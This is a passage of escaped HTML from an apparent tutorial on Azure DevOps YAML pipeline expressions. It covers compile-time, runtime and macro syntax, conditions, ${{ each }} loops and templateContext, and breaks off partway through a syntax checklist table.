\"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 776 281\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 344,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,160 L 608,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,0 L 352,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,120 L 352,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,152 L 352,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,224 L 616,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='352.000000,48.000000 340.000000,42.400002 340.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,160.000000 604.000000,154.399994 604.000000,165.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='624.000000,240.000000 612.000000,234.399994 612.000000,245.600006' fill='currentColor' transform='rotate(90.000000, 616.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='352' cy='0' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='212' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='260' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='260' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='212' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='260' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='260' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='212' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='260' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='212' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='260' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='212' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='196' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='260' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='260' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='260' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='260' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='260' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='196' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='260' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='260' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='712' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='712' y='260' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='728' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='728' y='260' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='736' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='736' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='744' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='744' y='260' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='752' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='760' y='260' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"21-the-three-phases-of-evaluation\"\u003e2.1: The Three Phases of Evaluation\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eParsing \u0026amp; Expansion:\u003c/strong\u003e The orchestrator reads your YAML, follows every template link, and evaluates all \u003ccode\u003e${{ }}\u003c/code\u003e blocks. This creates one massive \u0026ldquo;Expanded YAML\u0026rdquo; file. If a condition is false here, the code is deleted from the plan.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePlanning:\u003c/strong\u003e The engine looks at \u003ccode\u003econdition:\u003c/code\u003e blocks (including those using \u003ccode\u003e$[ ]\u003c/code\u003e) to determine which jobs and stages are eligible to run based on the results of previous dependencies.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eExecution:\u003c/strong\u003e Tasks are sent to the agent. Just before a task starts, \u003ccode\u003e$( )\u003c/code\u003e macros are expanded. During task execution, the shell processes its own environment variables (e.g., \u003ccode\u003e$MY_VAR\u003c/code\u003e).\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"22-the-variable-expansion-order\"\u003e2.2: The Variable Expansion Order\u003c/h3\u003e\n\u003cp\u003eA common source of \u0026ldquo;Silent Failures\u0026rdquo; is misunderstanding variable visibility. Variables defined in a YAML \u003ccode\u003evariables:\u003c/code\u003e block are not always available in a \u003ccode\u003e${{ if }}\u003c/code\u003e statement. The hierarchy flows from \u003cstrong\u003eSystem Variables\u003c/strong\u003e and \u003cstrong\u003eTemplate Parameters\u003c/strong\u003e (visible at compile-time) down to \u003cstrong\u003eTask Output Variables\u003c/strong\u003e (visible only at runtime via \u003ccode\u003e$[ ]\u003c/code\u003e). If your logic depends on a value set by a script, you must use runtime syntax.\u003c/p\u003e\n\u003ch2 id=\"3-advanced-conditional-insertion\"\u003e3. Advanced Conditional Insertion\u003c/h2\u003e\n\u003cp\u003eMastering conditions allows you to build a \u0026ldquo;single pipeline\u0026rdquo; that handles multiple complex scenarios.\u003c/p\u003e\n\u003ch3 id=\"31-template-level-ifelseifelse\"\u003e3.1: Template-Level \u003ccode\u003eif/elseif/else\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eUse \u003ccode\u003e${{ if }}\u003c/code\u003e to toggle entire stages or jobs based on a \u003ccode\u003eparameters\u003c/code\u003e object. A common pattern is the \u0026ldquo;Standard vs. Premium\u0026rdquo; path. For example, you can conditionally insert an expensive security scanning stage only if a \u003ccode\u003erunFullScan\u003c/code\u003e parameter is set to \u003ccode\u003etrue\u003c/code\u003e. Because this uses compile-time logic, the \u0026ldquo;Standard\u0026rdquo; run won\u0026rsquo;t even show the security stage as \u0026ldquo;skipped\u0026rdquo;—it simply won\u0026rsquo;t exist in the UI, reducing log noise.\u003c/p\u003e\n\u003ch3 id=\"32-job-and-step-conditions\"\u003e3.2: Job and Step Conditions\u003c/h3\u003e\n\u003cp\u003eFor logic that depends on the success or failure of previous work, master the \u003ccode\u003econdition:\u003c/code\u003e property using \u003ccode\u003e$[ ]\u003c/code\u003e. Always prefer built-in functions like \u003ccode\u003esucceeded()\u003c/code\u003e, \u003ccode\u003efailed()\u003c/code\u003e, or \u003ccode\u003ealways()\u003c/code\u003e over manual status checks. For instance, a cleanup job should use \u003ccode\u003econdition: always()\u003c/code\u003e to ensure it runs regardless of whether the build succeeded, whereas a deployment should use \u003ccode\u003econdition: succeeded()\u003c/code\u003e to prevent pushing broken code.\u003c/p\u003e\n\u003ch2 id=\"4-template-meta-programming\"\u003e4. Template Meta-Programming\u003c/h2\u003e\n\u003cp\u003eIn 2026, the most advanced pipelines are \u0026ldquo;data-driven,\u0026rdquo; using parameters to generate structure.\u003c/p\u003e\n\u003ch3 id=\"41-the-power-of--each-\"\u003e4.1: The Power of \u003ccode\u003e${{ each }}\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThe \u003ccode\u003e${{ each }}\u003c/code\u003e keyword allows you to iterate through arrays and objects to generate dynamic jobs. Instead of copy-pasting the same deployment logic for 10 different Azure regions, you can define a list of regions in your parameters and use a single loop to generate 10 unique, parallel jobs. This reduces maintenance toil and ensures that a change to your deployment logic is automatically applied to every region.\u003c/p\u003e\n\u003ch3 id=\"42-encapsulation-with-templatecontext\"\u003e4.2: Encapsulation with \u003ccode\u003etemplateContext\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is a specialized property for passing complex metadata into \u003ccode\u003ejobList\u003c/code\u003e or \u003ccode\u003estageList\u003c/code\u003e templates without breaking the Azure DevOps schema. It allows you to \u0026ldquo;smuggle\u0026rdquo; custom properties—like a security tier or a cost center—alongside your jobs. Your template can then use \u003ccode\u003e${{ each }}\u003c/code\u003e to iterate through the jobs and use the context to drive conditional logic, such as injecting mandatory audit steps only for \u0026ldquo;Critical\u0026rdquo; jobs.\u003c/p\u003e\n\u003ch2 id=\"5-the-expression-checklist-which-one-do-i-use\"\u003e5. The Expression Checklist: Which One Do I Use?\u003c/h2\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eUse Case\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eRecommended Syntax\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eWhy?\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eChange pipeline structure\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e${{ if }}\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eEvaluated before the plan is fixed.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eLoop through parameters\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e${{ each }}\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eGenerates multiple jobs/steps from data.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eCheck an output variable\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003ccode\u003e$[ ]\u003c/code\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eCan see data from previous 